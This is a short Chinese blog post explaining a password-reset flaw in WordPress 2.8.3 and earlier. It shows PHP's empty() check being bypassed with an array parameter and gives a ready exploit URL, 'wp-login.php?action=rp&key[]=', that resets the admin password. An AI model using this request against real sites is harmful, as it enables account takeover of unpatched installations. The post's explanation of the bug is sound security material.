查看文章
 
wordpress一个有意思的bug
2009-08-11 21:46
WordPress <= 2.8.3 Remote admin reset password

这个漏洞又给我们提纲了一个非常有意思的tips:

<?php
//test.php
var_dump($key);
var_dump(empty($key));
?>

test.php?key=
string(0) "" bool(true)

test.php?key[]=
array(1) { [0]=> string(0) "" } bool(false)

哈哈,很完美的pass了empty($key),回到wordpress里的代码:

//wp-login.php
function reset_password($key) {
global $wpdb;
$key = preg_replace('/[^a-z0-9]/i', '', $key);
if ( empty( $key ) ) //this empty!!
return new WP_Error('invalid_key', __('Invalid key'));
$user = $wpdb->get_row($wpdb->prepare("SELECT * FROM $wpdb->users WHERE user_activation_key = %s", $key));

提交:
http://DOMAIN_NAME.TLD/wp-login.php?action=rp&key[]=

对方的密码就被修改拉!!!




类别:默认分类||添加到搜藏 |分享到i贴吧|浏览(983)|评论 (0)
 
最近读者:
 
网友评论:
发表评论:
姓 名:
网址或邮箱: (选填)
内 容:
     

   
帮助中心 | 空间客服 | 投诉中心 | 空间协议
©2012 Baidu